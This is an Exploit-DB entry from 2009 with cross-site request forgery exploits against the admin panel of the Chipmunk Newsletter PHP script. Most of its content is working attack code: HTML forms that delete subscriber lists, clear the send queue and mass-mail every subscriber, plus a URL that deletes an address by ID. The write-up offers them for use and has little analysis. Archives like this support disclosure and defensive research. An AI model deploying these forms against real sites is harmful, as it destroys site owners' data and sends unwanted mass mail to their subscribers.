Exploit-DB #10388
Description: Chipmunk NewsLetter - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2009-12-11
Author: Milos Zivanovic

Exploit:
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[   Title: Chipmunk Newsletter CSRF Vulnerabilities                                               ]
[   Author: Milos Zivanovic                                                                       ]
[   Date: 11. December 2009.                                                                      ]
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[   Application: Chipmunk Newsletter                                                              ]
[   Version: the only one there is                                                                ]
[   Download: http://www.chipmunk-scripts.com/newsletter/newsletter.zip                           ]
[   Vulnerability: Cross Site Request Forgery                                                     ]
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I've noticed one XSS exploit was found by someone else so i decided to check it a little bit more
and i found some sweet CSRF exploits in admin panel.

[#]Content
 |--CSRF Delete Email List (also will remove all mails subscribed to this list)
 |--CSRF Clear Queue (Set all send to zero?)
 |--CSRF Send letter (this will mass mail all mails in database)
 |--CSRF Delete Email by ID

[-]CSRF Delete Email List (also will remove all mails subscribed to this list)

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/newsletter/admin/dellist.php" method="POST">
  <select name='lists'>
    <option value='3'>newsletter_list</option>
  </select>
  <input type='submit' name='submit' value='Delete'>
</form>

[EXPLOIT------------------------------------------------------------------------------------------]

[-]CSRF Clear Queue (Set all send to zero?)

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/newsletter/admin/clearqueue.php" method="POST">
  <input type="submit" name="submit">
</form>

[EXPLOIT------------------------------------------------------------------------------------------]

[-]CSRF Send letter (this will mass mail all mails in database)

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/newsletter/admin/sendletter.php" method="POST">
  <input type='text' name='subject' value="Mail Subject">
  <select name='lists'>
    <option value='0' selected>All</option>
  </select>
  <textarea name='nletter' rows='8' cols='60' id='7'>Mail message here&lt;/textarea&gt;
  
  <input type='submit' name='submit' value='submit'>
</form>

[EXPLOIT------------------------------------------------------------------------------------------]

[-]CSRF Delete Email by ID

[POC----------------------------------------------------------------------------------------------]
http://localhost/newsletter/admin/deleteadd.php?ID=[ID]
[POC----------------------------------------------------------------------------------------------]

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[                                              EOF                                                ]
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